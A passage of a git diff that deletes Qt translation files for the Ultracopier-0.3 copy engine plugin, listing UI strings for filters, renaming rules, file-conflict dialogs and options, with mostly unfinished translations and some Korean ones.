- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/ko/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/ko/translation.ts
deleted file mode 100644
index 6210b83..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/ko/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="ko_KR">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>이 플랫폼에서 지원되지 않습니다</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>마지막 수정 날짜가 잘못되었습니다</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>마지막 엑세스 날짜가 잘못되었습니다</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>폴더를 생성할 수 없습니다</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>원본 파일 읽기 불가:</translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation>폴더를 제거할 수 없습니다</translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
